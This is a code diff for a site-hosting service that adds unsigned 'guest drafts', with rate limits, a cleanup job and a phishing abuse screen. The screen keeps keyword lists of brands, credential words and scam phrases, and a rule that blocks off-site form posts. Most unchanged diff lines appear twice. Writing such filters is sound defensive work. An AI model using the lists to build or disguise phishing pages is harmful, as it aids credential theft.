+ signed-in person's space does. The claim is logged as `space.app.claimed`.
+
+A guest draft is **static**: it is never published, it keeps no visitor's data (no lists, no private storage) and it
+runs no server functions. In the preview the SDK answers "sign in to use this" where a visitor's account would be
+needed, and `OV.me()` is nobody.
+
+The limits (the abuse screen's first half, `server/hosting-config.js`):
+
+| Limit | Default | Environment |
+| --- | --- | --- |
+| Drafts per address a day | 3 | `SPACE_GUEST_DRAFTS_PER_IP_PER_DAY` |
+| AI builds per address a day | 2 | `SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY` |
+| AI changes per draft | 20 | `SPACE_GUEST_AI_EDITS_PER_DRAFT` |
+| Drafts the service makes a day | 500 | `SPACE_GUEST_DRAFTS_PER_DAY` |
+| A draft lives after its last edit | 7 days | `SPACE_GUEST_TTL_DAYS` |
+| The job that removes the drafts whose time is up | hourly | `SPACE_GUEST_CLEANUP_INTERVAL_MS` |
+
+`SPACE_GUEST_DRAFTS=off` turns the whole thing off. Every AI prompt and every AI answer passes the same abuse
+screen (`server/spaces/content-check.js`): a brand name next to credential words, or one of the sentences a fake
+login page uses, is refused; and **no form in a guest draft may post to another origin** (a relative action, or one
+on the site's own address, is fine). The off-site form rule is a guest rule — an owner may post to their own payment
+provider.
+
## Limits
## Limits
These are per person or per space, set in `server/hosting-config.js`:
These are per person or per space, set in `server/hosting-config.js`:
@@ -134,5 +169,7 @@ These are per person or per space, set in `server/hosting-config.js`:
@@ -134,5 +169,7 @@ These are per person or per space, set in `server/hosting-config.js`:
| `server/spaces/functions.js`, `functions-worker.js` | Space functions: the worker pool, the `ov` calls and limits, and the QuickJS sandbox. |
| `server/spaces/functions.js`, `functions-worker.js` | Space functions: the worker pool, the `ov` calls and limits, and the QuickJS sandbox. |
| `server/spaces/ai.js` | The OpenVibe.AI client. |
| `server/spaces/ai.js` | The OpenVibe.AI client. |
| `server/spaces/templates.js` | The templates. |
| `server/spaces/templates.js` | The templates. |
+| `server/spaces/guest.js`, `guest-cleanup.js` | The guest drafts: the secret, the expiry and the job. |
+| `server/spaces/content-check.js` | The abuse screen: phishing and off-site form actions. |
| `public/js/space-editor.js`, `public/css/spaces.css` | The editor and the styles. |
| `public/js/space-editor.js`, `public/css/spaces.css` | The editor and the styles. |
-| `test/spaces.test.js`, `test/space-functions.test.js` | The tests. |
+| `test/spaces.test.js`, `test/spaces-guest.test.js`, `test/space-functions.test.js` | The tests. |
new file mode 100644
new file mode 100644
@@ -0,0 +1,17 @@
@@ -0,0 +1,17 @@
+-- phase: expand
+-- Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor
+-- who is not signed in makes a draft on openvibe.space and edits it with a secret link; a signed-in person who
+-- holds that link claims it later. The draft has no owner until it is claimed, so owner_subject becomes optional,
+-- and the secret is kept only as a hash (as OpenVibe.Design keeps guest_hash for its guest designs).
+--
+-- Expand only: the columns are optional and the old code (which always writes an owner) keeps working. Nothing
+-- here changes what an owned space does.
+ALTER TABLE space_apps ALTER COLUMN owner_subject DROP NOT NULL;
+ALTER TABLE space_apps ADD COLUMN guest_hash text COLLATE "C";
+ALTER TABLE space_apps ADD COLUMN guest_ip text COLLATE "C";
+ALTER TABLE space_apps ADD COLUMN guest_expires_at bigint;
+
+-- The cleanup job reads the drafts whose time is up (seven days after the last edit).
+CREATE INDEX space_apps_guest_expiry ON space_apps (guest_expires_at) WHERE guest_hash IS NOT NULL;
+-- The abuse screen counts what one address made today.
+CREATE INDEX space_apps_guest_ip ON space_apps (guest_ip, created_at DESC) WHERE guest_hash IS NOT NULL;
@@ -15,7 +15,7 @@
@@ -15,7 +15,7 @@
"express": "^4.21.2",
"express": "^4.21.2",
"express-rate-limit": "^7.5.0",
"express-rate-limit": "^7.5.0",
"helmet": "^8.1.0",
"helmet": "^8.1.0",
- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",
+ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0",
"openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0",
"openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0",
"openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0",
"openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0",
"pg": "^8.23.0",
"pg": "^8.23.0",
@@ -1122,9 +1122,9 @@
@@ -1122,9 +1122,9 @@
}
}
},
},
"node_modules/openvibe-contracts": {
"node_modules/openvibe-contracts": {
- "version": "0.263.1",
- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",
- "integrity": "sha512-xZZZdirJkdzdpgeaBGRnRgD/o7IoTb7udPHqurYOWEEB/AarE8gKO+2FZbYtGI66cWA9rgcwDbrptnCA7/8Oxw==",
+ "version": "0.266.0",
+ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0",
+ "integrity": "sha512-7TACTogY3V6sBBd21f03hCcsK4ArKzFqiJDR9t+KBxTYZUfM5e5QGZuhbilZGKgpKSGQREIYrTnJ3Uqs3HiKIw==",
"license": "AGPL-3.0-only",
"license": "AGPL-3.0-only",
"dependencies": {
"dependencies": {
"ajv": "^8.17.1",
"ajv": "^8.17.1",
@@ -27,7 +27,7 @@
@@ -27,7 +27,7 @@
"express": "^4.21.2",
"express": "^4.21.2",
"express-rate-limit": "^7.5.0",
"express-rate-limit": "^7.5.0",
"helmet": "^8.1.0",
"helmet": "^8.1.0",
- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",
+ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0",
"openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0",
"openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0",
"openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0",
"openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0",
"pg": "^8.23.0",
"pg": "^8.23.0",
@@ -1,21 +1,27 @@
@@ -1,21 +1,27 @@
/* The space editor (server/spaces/render.js editorPage): files in tabs (CodeMirror when it loaded, a textarea when not),
/* The space editor (server/spaces/render.js editorPage): files in tabs (CodeMirror when it loaded, a textarea when not),
a live preview in a sandboxed frame (an opaque origin: the space's code never touches openvibe.space), the preview's
a live preview in a sandboxed frame (an opaque origin: the space's code never touches openvibe.space), the preview's
SDK calls run through this page as the signed-in maker (POST /spaces/:slug/preview), AI changes (POST, then poll
SDK calls run through this page as the signed-in maker (POST /spaces/:slug/preview), AI changes (POST, then poll
- GET /spaces/:slug/ai), settings, publishing and deleting. Every call carries the form token in X-CSRF-Token. */
+ GET /spaces/:slug/ai), settings, publishing and deleting. Every call carries the form token in X-CSRF-Token.
+ A guest draft (openvibe.website) is edited the same way: its calls go to the draft's own address and carry the
+ secret from the link (X-Space-Key); it has no Publish button. */
(function () {
(function () {
'use strict';
'use strict';
var boot = JSON.parse(document.getElementById('sp-boot').textContent);
var boot = JSON.parse(document.getElementById('sp-boot').textContent);
var space = boot.space;
var space = boot.space;
+ var guest = boot.guest || null;
var files = boot.files.map(function (f) { return { path: f.path, content: f.content }; });
var files = boot.files.map(function (f) { return { path: f.path, content: f.content }; });
var current = files.some(function (f) { return f.path === 'index.html'; }) ? 'index.html' : (files[0] && files[0].path);
var current = files.some(function (f) { return f.path === 'index.html'; }) ? 'index.html' : (files[0] && files[0].path);
var dirty = false;
var dirty = false;
var $ = function (id) { return document.getElementById(id); };
var $ = function (id) { return document.getElementById(id); };
var statusEl = $('ed-status'), frame = $('ed-frame'), tabs = $('ed-tabs'), area = $('ed-code');
var statusEl = $('ed-status'), frame = $('ed-frame'), tabs = $('ed-tabs'), area = $('ed-code');
- var base = '/spaces/' + encodeURIComponent(space.slug);
+ var base = boot.base || ('/spaces/' + encodeURIComponent(space.slug));
function status(text, kind) { statusEl.textContent = text || ''; statusEl.dataset.kind = kind || ''; }
function status(text, kind) { statusEl.textContent = text || ''; statusEl.dataset.kind = kind || ''; }
function call(method, path, body) {
function call(method, path, body) {
- return fetch(base + path, { method: method, credentials: 'same-origin', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': boot.csrf }, body: body ? JSON.stringify(body) : undefined })
+ // A guest draft is edited with its secret: the link's key rides along with every call.
+ var headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': boot.csrf };
+ if (guest) headers['X-Space-Key'] = guest.key;
+ return fetch(base + path, { method: method, credentials: 'same-origin', headers: headers, body: body ? JSON.stringify(body) : undefined })
.then(function (r) { return r.json().catch(function () { return {}; }).then(function (j) {
.then(function (r) { return r.json().catch(function () { return {}; }).then(function (j) {
if (!r.ok) { var e = new Error((j.error && j.error.message) || ('Request failed (' + r.status + ')')); e.code = j.error && j.error.code; e.status = r.status; throw e; }
if (!r.ok) { var e = new Error((j.error && j.error.message) || ('Request failed (' + r.status + ')')); e.code = j.error && j.error.code; e.status = r.status; throw e; }
return j;
return j;
@@ -185,9 +191,10 @@
@@ -185,9 +191,10 @@
});
});
// ── Publishing ──
// ── Publishing ──
+ // A guest draft has no Publish button: it is static until a signed-in person keeps it.
var publishBtn = $('ed-publish');
var publishBtn = $('ed-publish');
- function publishLabel() { publishBtn.lastChild.textContent = space.published ? ' Update' : ' Publish'; }
- publishBtn.addEventListener('click', function () {
+ function publishLabel() { if (publishBtn) publishBtn.lastChild.textContent = space.published ? ' Update' : ' Publish'; }
+ if (publishBtn) publishBtn.addEventListener('click', function () {
var go = function () {
var go = function () {
status('Publishing…');
status('Publishing…');
return call('POST', '/publish').then(function (j) {
return call('POST', '/publish').then(function (j) {
@@ -198,15 +205,16 @@
@@ -198,15 +205,16 @@
};
};
if (dirty) save().then(go, function () {}); else go();
if (dirty) save().then(go, function () {}); else go();
});
});
- $('ed-unpublish').addEventListener('click', function () {
+ var unpublishBtn = $('ed-unpublish');
+ if (unpublishBtn) unpublishBtn.addEventListener('click', function () {
if (!confirm('Unpublish? Its address stops working until you publish again.')) return;
if (!confirm('Unpublish? Its address stops working until you publish again.')) return;
call('POST', '/unpublish').then(function (j) { space = Object.assign(space, j.space); publishLabel(); dialog.close(); status('Unpublished'); }, function (e) { alert(e.message); });
call('POST', '/unpublish').then(function (j) { space = Object.assign(space, j.space); publishLabel(); dialog.close(); status('Unpublished'); }, function (e) { alert(e.message); });
});
});
$('ed-delete').addEventListener('click', function () {
$('ed-delete').addEventListener('click', function () {
if (!confirm('Delete "' + space.name + '" for good? Its files, lists and everyone\'s saved data in it go too.')) return;
if (!confirm('Delete "' + space.name + '" for good? Its files, lists and everyone\'s saved data in it go too.')) return;
- call('POST', '/delete').then(function () { dirty = false; location.href = '/spaces/mine'; }, function (e) { alert(e.message); });
+ call('POST', '/delete').then(function () { dirty = false; location.href = guest ? '/spaces/guest' : '/spaces/mine'; }, function (e) { alert(e.message); });
});
});
- if (!boot.canPublish) publishBtn.title = 'Publishing at its own address opens with OpenVibe.Space\'s public hosting; the preview runs it now.';
+ if (publishBtn && !boot.canPublish) publishBtn.title = 'Publishing at its own address opens with OpenVibe.Space\'s public hosting; the preview runs it now.';
// Phone: the Preview / Code switch (desktop shows both side by side and hides it).
// Phone: the Preview / Code switch (desktop shows both side by side and hides it).
var editorEl = $('sp-editor');
var editorEl = $('sp-editor');
@@ -24,6 +24,21 @@ function checkCsrf(config, viewer, token) {
@@ -24,6 +24,21 @@ function checkCsrf(config, viewer, token) {
return crypto.timingSafeEqual(Buffer.from(token), Buffer.from(expected));
return crypto.timingSafeEqual(Buffer.from(token), Buffer.from(expected));
}
}
+/**
+ * A form token for something that is not a session: a guest draft, whose maker holds a secret link rather than
+ * an account. It is an HMAC of the scope under the same secret as the session tokens, so a token is only ever
+ * readable by someone who could read the page that carries it.
+ */
+function scopeToken(config, scope) {
+ return crypto.createHmac('sha256', config.formSecret || fallback).update(`space-form-scope:${scope}`).digest('base64url').slice(0, 32);
+}
+
+function checkScopeToken(config, scope, token) {
+ const expected = scopeToken(config, scope);
+ if (!expected || typeof token !== 'string' || token.length !== expected.length) return false;
+ return crypto.timingSafeEqual(Buffer.from(token), Buffer.from(expected));
+}
+
/** The request came from a dashboard page (not from a tenant page or another site). */
/** The request came from a dashboard page (not from a tenant page or another site). */
function sameOrigin(config, req) {
function sameOrigin(config, req) {
const expected = new URL(config.baseUrl).origin;
const expected = new URL(config.baseUrl).origin;
@@ -34,4 +49,4 @@ function sameOrigin(config, req) {
@@ -34,4 +49,4 @@ function sameOrigin(config, req) {
try { return new URL(referer).origin === expected; } catch { return false; }
try { return new URL(referer).origin === expected; } catch { return false; }
}
}
-module.exports = { csrfToken, checkCsrf, sameOrigin };
+module.exports = { csrfToken, checkCsrf, scopeToken, checkScopeToken, sameOrigin };
@@ -7,6 +7,7 @@
@@ -7,6 +7,7 @@
* space.deploy.activated a site's active deploy changed (payload.rollback marks a rollback)
* space.deploy.activated a site's active deploy changed (payload.rollback marks a rollback)
* space.deploy.failed an upload was refused (payload.code, problem codes; no file contents)
* space.deploy.failed an upload was refused (payload.code, problem codes; no file contents)
* space.domain.verified a custom domain's TXT record was found; the domain is now served
* space.domain.verified a custom domain's TXT record was found; the domain is now served
+ * space.app.claimed a guest draft was claimed by a signed-in person (it is theirs now)
*
*
* The SDK writes each row inside the change's own transaction (emit joins the ambient openvibe-sdk/db
* The SDK writes each row inside the change's own transaction (emit joins the ambient openvibe-sdk/db
* transaction), so an event exists if and only if its change committed. The relay publishes with
* transaction), so an event exists if and only if its change committed. The relay publishes with
@@ -16,7 +17,7 @@
@@ -16,7 +17,7 @@
*/
*/
const { createServiceOutbox } = require('openvibe-sdk/events');
const { createServiceOutbox } = require('openvibe-sdk/events');
-const EVENT_TYPES = Object.freeze(['space.deploy.created', 'space.deploy.activated', 'space.deploy.failed', 'space.domain.verified']);
+const EVENT_TYPES = Object.freeze(['space.deploy.created', 'space.deploy.activated', 'space.deploy.failed', 'space.domain.verified', 'space.app.claimed']);
function createHostOutbox({ db, config, fetchImpl, now, log = console }) {
function createHostOutbox({ db, config, fetchImpl, now, log = console }) {
return createServiceOutbox({
return createServiceOutbox({
@@ -174,6 +174,19 @@ function load(env = process.env) {
@@ -174,6 +174,19 @@ function load(env = process.env) {
enabled: String(env.SPACE_AI || 'on').trim().toLowerCase() !== 'off',
enabled: String(env.SPACE_AI || 'on').trim().toLowerCase() !== 'off',
url: trim(env.OV_AI_INTERNAL_URL || env.OV_AI_URL || 'http://127.0.0.1:4700'),
url: trim(env.OV_AI_INTERNAL_URL || env.OV_AI_URL || 'http://127.0.0.1:4700'),
},
},
+ // Guest drafts (openvibe.website, plan 5.9): a visitor who is not signed in makes a draft with a
+ // secret edit link and claims it later. These limits are the abuse screen's first half: what one
+ // address may make a day, what one draft may ask the AI, how many drafts the service makes a day,
+ // and how long a draft lives after its last edit (a job removes it).
+ guest: {
+ enabled: String(env.SPACE_GUEST_DRAFTS || 'on').trim().toLowerCase() !== 'off',
+ draftsPerIpPerDay: int(env.SPACE_GUEST_DRAFTS_PER_IP_PER_DAY, 3),
+ aiBuildsPerIpPerDay: int(env.SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY, 2),
+ aiEditsPerDraft: int(env.SPACE_GUEST_AI_EDITS_PER_DRAFT, 20),
+ draftsPerDay: int(env.SPACE_GUEST_DRAFTS_PER_DAY, 500),
+ ttlDays: int(env.SPACE_GUEST_TTL_DAYS, 7),
+ cleanupIntervalMs: int(env.SPACE_GUEST_CLEANUP_INTERVAL_MS, 60 * 60 * 1000),
+ },
},
},
worker: {
worker: {
@@ -65,10 +65,12 @@ function createHosting(app, { db, auth, config: suppliedConfig, now, resolver, f
@@ -65,10 +65,12 @@ function createHosting(app, { db, auth, config: suppliedConfig, now, resolver, f
app.locals.ctx = ctx;
app.locals.ctx = ctx;
// Spaces (server/spaces/): apps people make here and publish as sites of their Spaces project.
// Spaces (server/spaces/): apps people make here and publish as sites of their Spaces project.
- ctx.spaces = require('./spaces/spaces').createSpaces({ store, config, projects, sites, deploys, takedowns, log });
+ ctx.spaces = require('./spaces/spaces').createSpaces({ store, config, projects, sites, deploys, takedowns, outbox, log });
ctx.spacesAi = require('./spaces/ai').createSpacesAi({ config, client: spacesAiClient, log });
ctx.spacesAi = require('./spaces/ai').createSpacesAi({ config, client: spacesAiClient, log });
ctx.spaceData = require('./spaces/data').createSpaceData({ store, config, spaces: ctx.spaces, ai: ctx.spacesAi });
ctx.spaceData = require('./spaces/data').createSpaceData({ store, config, spaces: ctx.spaces, ai: ctx.spacesAi });
ctx.spaceFunctions = require('./spaces/functions').createSpaceFunctions({ data: ctx.spaceData, workers: config.spaces.fnWorkers, log });
ctx.spaceFunctions = require('./spaces/functions').createSpaceFunctions({ data: ctx.spaceData, workers: config.spaces.fnWorkers, log });
+ // Guest drafts (openvibe.website, plan 5.9): the job that removes the drafts whose week is up.
+ ctx.guestCleanup = require('./spaces/guest-cleanup').createGuestCleanup({ store, config, log });
{
{
const { sdkSource } = require('./spaces/sdk');
const { sdkSource } = require('./spaces/sdk');
const bySite = new Map();
const bySite = new Map();
@@ -28,6 +28,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdk
@@ -28,6 +28,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdk
app.locals.hosting.worker.start();
app.locals.hosting.worker.start();
app.locals.hosting.outbox.start();
app.locals.hosting.outbox.start();
app.locals.hosting.billing.start(); // off unless SPACE_BILLING_INTERVAL_MS > 0
app.locals.hosting.billing.start(); // off unless SPACE_BILLING_INTERVAL_MS > 0
+ app.locals.hosting.guestCleanup.start(); // the guest drafts whose week is up (off with SPACE_GUEST_DRAFTS=off)
// The two account subscriptions at OpenVibe.Events (ADR-033), created when missing; off without EVENTS_URL,
// The two account subscriptions at OpenVibe.Events (ADR-033), created when missing; off without EVENTS_URL,
// SPACE_EVENTS_SECRET or the client secret.
// SPACE_EVENTS_SECRET or the client secret.
const hc = app.locals.hosting.config;
const hc = app.locals.hosting.config;
@@ -45,7 +46,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdk
@@ -45,7 +46,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdk
gracefulStop({
gracefulStop({
name: 'Space', server,
name: 'Space', server,
drainMs: 4000, deadlineMs: 5000, deadlineExitCode: 1,
drainMs: 4000, deadlineMs: 5000, deadlineExitCode: 1,
- stop: [async () => { if (subscriptions) subscriptions.stop(); app.locals.hosting.worker.stop(); await app.locals.hosting.outbox.stop(); await app.locals.hosting.billing.stop(); }],
+ stop: [async () => { if (subscriptions) subscriptions.stop(); app.locals.hosting.worker.stop(); app.locals.hosting.guestCleanup.stop(); await app.locals.hosting.outbox.stop(); await app.locals.hosting.billing.stop(); }],
close: [
close: [
async () => { if (telemetryRetention) await telemetryRetention.stop(); await telemetry.stop(); },
async () => { if (telemetryRetention) await telemetryRetention.stop(); await telemetry.stop(); },
async () => {
async () => {
@@ -4,7 +4,8 @@
@@ -4,7 +4,8 @@
*
*
* build(person, { prompt, name, current }) space.app.build, the AI builder: starts a run on behalf of the person
* build(person, { prompt, name, current }) space.app.build, the AI builder: starts a run on behalf of the person
* building and answers its id (a whole app takes longer than one request
* building and answers its id (a whole app takes longer than one request
- * may wait, so the editor polls result(id)).
+ * may wait, so the editor polls result(id)). A guest draft has no
+ * person: its run is Space's own (person is null).
* result(runId) { status: 'running' | 'succeeded' | 'failed', output, error }
* result(runId) { status: 'running' | 'succeeded' | 'failed', output, error }
* ask(space, person, { transcript, message }) space.app.ask, a space's own AI, on behalf of the visitor: the text.
* ask(space, person, { transcript, message }) space.app.ask, a space's own AI, on behalf of the visitor: the text.
*
*
@@ -32,13 +33,17 @@ function createSpacesAi({ config, client: injected = null, log = console }) {
@@ -32,13 +33,17 @@ function createSpacesAi({ config, client: injected = null, log = console }) {
const unavailable = () => new ApiError(503, 'space.ai_unavailable', 'OpenVibe AI is not available here right now');
const unavailable = () => new ApiError(503, 'space.ai_unavailable', 'OpenVibe AI is not available here right now');
const subjectRef = (person) => ({ type: 'user', id: person.subject });
const subjectRef = (person) => ({ type: 'user', id: person.subject });
+ /**
+ * The AI builder. `person` is the signed-in maker the run acts for; a guest draft has none, so its run is
+ * Space's own (server/spaces/pages.js, the guest drafts of openvibe.website).
+ */
async function build(person, { prompt, name, current, spaceId }) {
async function build(person, { prompt, name, current, spaceId }) {
if (!enabled()) throw unavailable();
if (!enabled()) throw unavailable();
const input = { prompt: String(prompt || '').slice(0, 4000), ...(name ? { name: String(name).slice(0, 40) } : {}), ...(current && current.length ? { current } : {}) };
const input = { prompt: String(prompt || '').slice(0, 4000), ...(name ? { name: String(name).slice(0, 40) } : {}), ...(current && current.length ? { current } : {}) };
let body;
let body;
try {
try {
body = await client().runs.create('space.app.build', input, {
body = await client().runs.create('space.app.build', input, {
- wait: 0, onBehalfOf: subjectRef(person),
+ wait: 0, ...(person ? { onBehalfOf: subjectRef(person) } : {}),
...(spaceId ? { attribution: { service: 'space', type: 'space', id: spaceId } } : {}),
...(spaceId ? { attribution: { service: 'space', type: 'space', id: spaceId } } : {}),
});
});
} catch (err) {
} catch (err) {
new file mode 100644
new file mode 100644
@@ -0,0 +1,125 @@
@@ -0,0 +1,125 @@
+'use strict';
+/**
+ * The abuse screen for what a space may say and do (openvibe.website, plan 5.9: "publishing to a preview
+ * address after an automatic abuse screen"). Today it is the first half, on the guest drafts:
+ *
+ * 1. Obvious phishing: a brand name next to credential words ("Sign in to your Google account", "verify your
+ * PayPal password"), or one of the sentences a fake login page uses. A brand is required, so a page that
+ * merely talks about passwords ("how to choose a password") is not caught.
+ * 2. Off-site form actions: a <form action="..."> that posts to another origin. A guest draft is static and
+ * is published nowhere, so a form that leaves the site can only be collecting someone's details for
+ * someone else. A form without an action, or with one on the site's own address, is fine.
+ *
+ * The same checks run on what the guest asks the AI and on what the AI answers, so a phishing page cannot be
+ * laundered through the builder. The denylist runs for a signed-in maker too; the off-site form rule is a
+ * guest rule (an owner may post to their own payment provider).
+ */
+const { ApiError } = require('../http/errors');
+
+/** The names a fake login page borrows. */
+const BRANDS = [
+ 'google', 'apple', 'microsoft', 'amazon', 'paypal', 'netflix', 'facebook', 'instagram', 'whatsapp',
+ 'telegram', 'discord', 'steam', 'roblox', 'binance', 'coinbase', 'metamask', 'ledger', 'twitter',
+ 'linkedin', 'dropbox', 'spotify', 'dhl', 'fedex', 'ups', 'usps', 'chase', 'wells fargo', 'barclays',
+ 'santander', 'revolut', 'wise', 'coinbase', 'postepayte', 'free mobile', 'orange',
+];
+
+/** The words that ask for a secret. */
+const CREDENTIALS = [
+ 'log in', 'login', 'log-in', 'sign in', 'signin', 'sign-in', 'password', 'passcode', 'credential',
+ 'username', 'user name', 'one-time code', 'otp', '2fa', 'two-factor', 'verify your', 'verification code',
+ 'recover your', 'reset your', 'security code', 'card number', 'cvv', 'seed phrase', 'recovery phrase',
+ 'private key', 'wallet',
+];
+
+/** The sentences a fake page writes. */
+const PHRASES = [
+ 'your account has been suspended', 'your account is suspended', 'account has been suspended',
+ 'verify your identity', 'unusual activity on your account', 'security alert',
+ 'you have won', 'claim your prize', 'claim your reward', 'double your', 'urgent action required',
+ 'wire transfer', 'bitcoin giveaway', 'limited time offer', 'your package could not be delivered',
+ 'your account will be closed', 'suspended pending verification',
+];
+
+/** How close a credential word has to be to a brand name to count (characters). */
+const NEAR = 120;
+
+/**
+ * Why the text reads like a scam, or null when it does not.
+ * A brand and a credential word near each other, or one of the scam sentences.
+ */
+function phishingReason(text) {
+ const s = String(text || '').toLowerCase();
+ if (!s) return null;
+ for (const phrase of PHRASES) if (s.includes(phrase)) return `it reads like a scam ("${phrase}")`;
+ for (const brand of BRANDS) {
+ let at = s.indexOf(brand);
+ while (at !== -1) {
+ const near = s.slice(Math.max(0, at - NEAR), at + brand.length + NEAR);
+ for (const word of CREDENTIALS) {
+ if (near.includes(word)) return `it asks for a password next to the name "${brand}"`;
+ }
+ at = s.indexOf(brand, at + brand.length);
+ }
+ }
+ return null;
+}
+
+/** The <form> tags of a file. */
+const FORM_RE = /<form\b[^>]*>/gi;
+const ACTION_RE = /\baction\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'=<>`]+))/i;
+
+/**
+ * Why a file's form posts to another origin, or null when it does not.
+ * sitesDomain: the domain the space's own address is on (<slug>.openvibe.website).
+ */
+function offsiteFormReason(content, { sitesDomain = '' } = {}) {
+ const text = String(content || '');
+ for (const m of text.matchAll(FORM_RE)) {
+ const tag = m[0];
+ const a = ACTION_RE.exec(tag);
+ if (!a) continue; // no action: the form posts to its own address
+ const raw = String(a[1] !== undefined ? a[1] : a[2] !== undefined ? a[2] : a[3] || '').trim();
+ if (!raw || raw.startsWith('#')) continue; // empty or a fragment: the same page
+ if (/^[a-z][a-z0-9+.-]*:/i.test(raw) && !/^https?:/i.test(raw)) return `the form posts to "${raw}", which is not an address a site can post to`;
+ if (raw.startsWith('//')) return `the form posts to "${raw}", another origin`;
+ if (!/^https?:/i.test(raw)) continue; // relative: the site's own address
+ let host = '';
+ try { host = new URL(raw).hostname.toLowerCase(); } catch { return `the form action "${raw}" is not an address`; }
+ if (!host) continue;
+ const own = String(sitesDomain || '').toLowerCase();
+ if (own && (host === own || host.endsWith(`.${own}`))) continue; // the site's own address
+ return `the form posts to ${host}, another origin`;
+ }
+ return null;
+}
+
+/**
+ * The reason a set of files is refused, or null.
+ * forms: true checks the off-site form rule too — that one is a guest rule (an owner may post to their own
+ * payment provider; a guest draft is published nowhere and may only post to its own address).
+ */
+function filesReason(files, { sitesDomain = '', forms = false } = {}) {
+ for (const f of Array.isArray(files) ? files : []) {
+ const content = String((f && f.content) || '');
+ const scam = phishingReason(content);
+ if (scam) return { code: 'space.guest_abuse', message: `“${f.path}” ${scam}; a space may not ask for someone's password` };
+ if (!forms) continue;
+ const form = offsiteFormReason(content, { sitesDomain });
+ if (form) return { code: 'space.guest_offsite_form', message: `“${f.path}”: ${form}; a guest draft's forms may only post to its own address` };
+ }
+ return null;
+}
+
+/** The reason a prompt is refused, or null. */
+function promptReason(prompt) {
+ const scam = phishingReason(prompt);
+ return scam ? { code: 'space.guest_abuse', message: `this request ${scam}; a space may not ask for someone's password` } : null;
+}
+
+/** Refuse with the reason (an ApiError), or return quietly. */
+function refuse(reason) {
+ if (reason) throw new ApiError(422, reason.code, reason.message);
+}
+
+module.exports = { phishingReason, offsiteFormReason, filesReason, promptReason, refuse, BRANDS, CREDENTIALS, PHRASES };
new file mode 100644
new file mode 100644
@@ -0,0 +1,55 @@
@@ -0,0 +1,55 @@
+'use strict';
+/**
+ * The job that removes the guest drafts whose time is up (openvibe.website, plan 5.9).
+ *
+ * A guest draft lives seven days after its last edit (the editor's saves and AI changes push the time up).
+ * When it is up the draft is gone: the space row, its files and everything a visitor ever put in it go with it
+ * (the tables cascade). Nothing of a guest's is kept after a week.
+ *
+ * The job runs on a timer (SPACE_GUEST_CLEANUP_INTERVAL_MS, an hour by default) and once when it starts. It is
+ * off with SPACE_GUEST_DRAFTS=off or SPACE_GUEST_CLEANUP_INTERVAL_MS=0, so a drill or a test can leave it alone.
+ */
+function createGuestCleanup({ store, config, log = console }) {
+ const limits = config.spaces.guest;
+ let timer = null;
+ let running = false;
+
+ const q = {
+ expired: store.db.prepare('SELECT id FROM space_apps WHERE guest_hash IS NOT NULL AND guest_expires_at IS NOT NULL AND guest_expires_at < ? LIMIT ?'),
+ remove: store.db.prepare('DELETE FROM space_apps WHERE id = ? AND guest_hash IS NOT NULL AND guest_expires_at IS NOT NULL AND guest_expires_at < ?'),
+ };
+
+ /** The drafts that are up: removed, and how many. */
+ async function run() {
+ if (running) return 0;
+ running = true;
+ try {
+ const now = store.now();
+ const rows = await q.expired.all(now, 500);
+ let n = 0;
+ for (const row of rows) {
+ const r = await q.remove.run(row.id, now);
+ n += Number((r && r.changes) || 0);
+ }
+ if (n) (log.info || log.log || log.warn)(`[Spaces] ${n} expired guest draft${n === 1 ? '' : 's'} removed`);
+ return n;
+ } catch (err) {
+ log.warn(`[Spaces] guest draft cleanup: ${err && err.message}`);
+ return 0;
+ } finally { running = false; }
+ }
+
+ return {
+ run,
+ start() {
+ if (!limits.enabled || limits.cleanupIntervalMs <= 0) return;
+ if (timer) return;
+ timer = setInterval(() => { run(); }, limits.cleanupIntervalMs);
+ if (timer.unref) timer.unref();
+ run();
+ },
+ stop() { if (timer) clearInterval(timer); timer = null; },
+ };
+}
+
+module.exports = { createGuestCleanup };
new file mode 100644
new file mode 100644
@@ -0,0 +1,37 @@
@@ -0,0 +1,37 @@
+'use strict';
+/**
+ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins";
+ * the owner, 2026-10-28: "serious sites, no login needed").
+ *
+ * A visitor who is not signed in makes a draft on openvibe.space. The draft has no owner and a random edit
+ * secret; of the secret only its sha256 is kept (as OpenVibe.Design keeps guest_hash for its guest designs,
+ * server/designs.js). The secret opens /spaces/<id>/edit?key=..., and a signed-in person who holds it can claim
+ * the draft: it becomes theirs, the secret is cleared, and it follows every rule a signed-in person's space does.
+ *
